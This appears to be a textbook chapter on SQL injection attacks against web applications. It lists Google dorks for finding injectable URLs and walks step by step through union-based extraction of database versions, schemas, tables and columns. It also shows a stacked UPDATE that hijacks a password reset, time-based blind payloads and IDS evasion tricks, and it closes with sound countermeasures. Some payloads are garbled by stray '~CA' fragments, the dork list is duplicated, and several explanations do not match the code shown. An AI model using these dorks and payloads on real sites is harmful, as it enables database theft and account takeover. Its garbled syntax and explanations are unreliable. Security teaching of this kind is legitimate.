Results of SQL Injection

What can be accomplished as a result of a SQL injection attack? Well, there are a huge number of possibilities, which are limited only by the configuration of the system and the skill of the attacker.

If an attack is successful, a host of problems could result. Consider the following a sample of the potential outcomes:

• Identity spoofing through manipulating databases to insert bogus or misleading information such as e-mails and contact information.
• Alteration of prices in e-commerce applications. In this attack, the intruder once again alters data, but does so with the intention of changing price information in order to purchase products or services at a reduced rate.
• Alteration of data or outright replacement of data in existing databases with information created by the attacker.
• Escalation of privileges to increase the level of access an attacker has to the system, up to and including full administrative access to the operating system.
• Denial of service, performed by flooding the server with requests designed to overwhelm the system.
• Data extraction and disclosure of all data on the system through the manipulation of the database.
• Destruction or corruption of data through rewriting, altering, or other means.
• Eliminating or altering transactions that have been or will be committed.

The Anatomy of a Web Application

A web application is the target of a SQL injection attack, so you must understand how these apps work. A web app can be described simply as an application that is accessed through a web browser or application (such as the apps on a smartphone). However, we need to be a little more detailed with our description in order to better understand SQL injection. In essence, a web application works by performing these steps:

1. The user makes a request through the web browser from the Internet to the web server.
2. The web server accepts the request and forwards it to the applicable web application server.
3. The web application server performs the requested task.
4. The web application accesses the entire database available and responds to the web server.
5. The web server responds back to the user once the transaction is complete.
6. The requested information appears on the user’s monitor.

The details involved in these steps can change depending on the application involved.

Databases and Their Vulnerabilities

Since ultimately an attacker is going after the information contained in a database, you must have a good understanding of databases. Databases store data such as configuration information, application data, and other information of all shapes and sizes. An attacker who can successfully locate a vulnerable database will find it a tempting target to pursue.

In today’s environment databases form the heart of many web apps. Commonly used applications such as Microsoft SharePoint and others use databases as the nucleus of their structure. In fact, a majority of web apps would not function without a database as their back-end.

Anatomy of a SQL Injection Attack

The potential attacks that can be performed to leverage the flaws in poorly designed websites are beyond count. The seemingly endless combinations of technologies and environments lend themselves to plenty of different attacks.

In this section we will examine a basic attack against a website to see how this works in practice. Note that this is only one type of SQL injection. In the wild these attacks may take many different forms.

inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
andinurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=

http://www.somesite.com/default.php?id=1'

http://www.somesite.com/default.php?id=1 order by 1

http://www.somesite.com/default.php?id=-1 union select 1,2,3,4,5,6,7,8

http://www.somesite.com/default.php?id=-1 union select 1,2,@@version,4,5,6

http://www.somesite.com/default.php?id=-1 union select ~CA
1,2,group_concat(schema_name),4,5,6 from information_schema.schemata--

http://www.somesite.com/default.php?id=-1 union select ~CA
1,2,concat(database()),4,5,6--

http://www.somesite.com/default.php?id=-1 union select ~CA
1,2,concat(user()),4,5,6--

http://www.somesite.com/default.php?id=-1 union select ~CA
1,2,group_concat(table_name),4,5,6 from information_schema.tables where ~CA
table_schema=database()—

http://www.somesite.com/default.php?id=-1 union select ~CA
1,2,group_concat(column_name),4,5,6 from information_schema.columns where ~CA
table_schema=database()--

Altering Data with a SQL Injection Attack

Another way to alter data using SQL injection involves using the forms that appear on many websites. Forms that collect login or other information can be vulnerable to attack depending on their design and any flaws that are present. Any form that solicits data and is somehow connected to a database of any type may be vulnerable to SQL injection.

To illustrate this point, let’s consider a form of a common and simple design. This hypothetical form is one of the commonly encountered forms that any user would use to recover their password. This form simply requires the user to enter an e-mail address and then click OK. Once this is done, the application searches the database for the provided e-mail address. It then sends an e-mail to that address.

However, let’s change things a bit to show how SQL injection works in this situation. In this case the attacker—you—will attempt to get the application to execute custom SQL code to either steal information or alter existing information in some way.

First, you must determine what the database and application are doing and how the database is structured. In this case the application is more than likely using what is known as a SQL SELECT statement to retrieve data, like so:

SELECT data
          FROM table
              WHERE emailinput = '$email_input';

Because of the way applications like this function, you would have to make an educated guess as to how the code is constructed. In this situation, the code is close to the actual code itself as it originally appeared. You would expect a query to use a variable to hold the user’s identity since it would need to be able to handle a multitude of inputs.

Remember earlier when you forced an application to generate errors? In this case it is pretty much the same thing; you must determine how the application reacts when invalid or unexpected input is provided. Once you know how the application reacts to this type of input, you can start to formulate malicious SQL strings.

To accomplish this in our example, you input an e-mail address into the form but with a single quote appended to it, like so:

[email protected]'

Once you enter the malformed e-mail address, you can reasonably expect one of the following:

• The application will sanitize the input by removing the quote from the text because the application’s designer recognized single quotes as potentially malicious.
• The application does not have protection in place and accepts the input without sanitizing it and proceeds to execute it. In that case the SQL is being run by the application. Pay attention to the impact of this extra quote in the SQL statement. If you look closely you will notice that an extra quote now appears at the end of the line:

SELECT data
     FROM table
         WHERE Emailinput = '[email protected]'';

When the application executes SQL code seen here, an error message should appear. The content and context of this error message is vital in determining the next step in the process. If the application is designed well and is validating input and sanitizing it, you probably will not see any type of message in return. However, if the application is not performing any sort of cleanup or sanitization on input, then an error message may result. The presence of these errors indicates that there may be enough of a flaw present to exploit in some manner.

At this point you can start to perform your injection to see what types of information or actions are available to you. For example, you may be able to uncover the structure of the database itself (specifically the tables in the database) using the following code:

     UPDATE table
      SET email = '[email protected]'
      WHERE email = '[email protected]';

Then, if the application runs this malicious code, it looks like this:

SELECT data
          FROM table
              WHERE Emailinput = 'Y';
     UPDATE table
      SET email = '[email protected]'
      WHERE email = '[email protected]';

Let’s analyze the final result here. When you string all the code together, you can see that the code is altering the database so that the original e-mail address, [email protected], is replaced with another e-mail address, [email protected]. The result is that the attacking party’s code uses the website’s reset password function to change the password and the request is then sent to the attacker’s address. Additionally, the login information for the site has now been changed to a new account.

Once you have performed this action successfully, as the attacker you can go about performing additional functions such as browsing information in the system or inputting new data (or possibly worse).

Injecting Blind

What if the target you are trying to penetrate does not return messages no matter what actions you take? In this situation you are flying blind, so it makes sense to attempt a blind SQL injection. This type of attack is not dependent on the presence of error messages. Much like any other SQL injection, a blind SQL injection can be used to manipulate information, destroy information, or extract data.

This attack works by indirectly obtaining information, such as through the use of true or false statements or through the use of timing information about the nature of the environment. Let’s take a look at one example:

:; IF EXISTS(SELECT *  FROM users) WAITFOR DELAY '0 :0 :10 '-

This code first checks whether the database users exists. If it doesn’t, the code displays, “We are unable to process your request. Please try back later.” If the database does exist, it will pause for 10 seconds. After 10 seconds, it displays, “We are unable to process your request. Please try back later.”

Since no error messages are returned, you can use the WAITFOR DELAY command to check the SQL execution status:

WAITFOR DELAY , 'time' (Seconds)

So what is happening in this attack? Well, let’s look at the first line:

:; IF EXISTS(SELECT *  FROM users) WAITFOR DELAY '0 :0 :10 '-

The first part of the statement (which ends right before the WAITFOR statement) is sent to the system for it to process. If the system cannot run it, the system is therefore not vulnerable. It will discard the whole line and return control back to the user, or it may return an application error message (which will not help you). If the system can run the first part, it will process the whole line, which will cause a momentary but noticeable pause, indicating to you, the attacker, that the whole line was processed.

Information Gathering

Understanding SQL is important to the process of gathering further and more detailed information about a target. Being able to skillfully create and formulate SQL statements allows you to manipulate and access information better than without this skill.

In our earlier example, you used SQL code to determine the version and type of database in your target. You also used code to generate error messages that allowed you to gather more information about the environment. This information helps guide the later steps and helps you determine how to better attack the database. You can find out what kind of database is used, what version is being used, user privilege levels, and various other things. Different databases require different SQL syntax.

'group  by  columnnames  having  1=1  -  -V

'union select 1,1,'text',1,1,1 - -
'union select 1,1,bigint,1,1,1 - -

if  condition  waitfor  delay  '0:0:5 '  - -
1; union  select if (condition) , 1 , 1 , 1 , ! ;

Evading Detection Mechanisms

One mechanism that can protect databases is an intrusion detection system (IDS). An IDS monitors network and host activity, and some can monitor database applications. IDSs are effective at detecting activities that may indicate an attack.

To evade an IDS, you can use a multitude of techniques, each designed to fool an IDS or to prevent detection by the device. In many cases IDSs use signature-based detection systems, which means that many attacks will seek to avoid resembling known attacks. If an attack matches a known pattern, it will trigger an alert to the administrator.

The most common way to avoid detection is through careful and deliberate manipulation of input strings to thwart matching. Some common ways to do this include:

• Sophisticated matching techniques designed to use alternative means of representing queries
• Hex coding, or converting queries into their hexadecimal equivalents
• Liberal use of whitespace
• Use of comments in code to break up statements
• Concatenating strings of text to create SQL keywords using database-specific instructions
• Obfuscated code, or a SQL statement that has been made difficult to understand

SQL Injection Countermeasures

SQL injection can be one of the hardest attacks to thwart and one of the most powerful to exploit. However, defenses are available to make them less damaging or less likely to occur.

First, one of the most powerful tools to thwart SQL injection is to use validation. For example, if your application expects an e-mail address then the application should not accept data that does not match the format of an e-mail address. Or if it expects numbers, it should not accept symbols or letters. Validation can be performed by whitelisting (or blacklisting) what is (or is not) acceptable to an application.

Some other common defenses against SQL injections include:

• Avoid the use of dynamic SQL. These are queries that are built on demand. Dynamic statements are generated from the options and choices made on the client side. Such statements should be avoided in favor of using stored procedures or predefined statements.
• Perform maintenance on the server regularly and keep an eye out for software updates and patches.
• Intrusion detection systems also play a vital role in protecting these systems much like they do with other network components. In fact some IDSs can monitor interactions at the database layer.
• Harden a system to include the operating system and database. Every database has countless options and features, of which only a handful tend to get used regularly. Disabling unneeded features prevents them from being used maliciously. For example, the xp_cmdshell command should always be disabled in a database application unless absolutely necessary.
• Exercise least privilege and give the database and the applications that attach to it only the access they need and nothing more.
• Ensure that applications are well tested before deployment into production.
• Avoid default configurations and passwords.
• Disable error messages outside the test and development environments.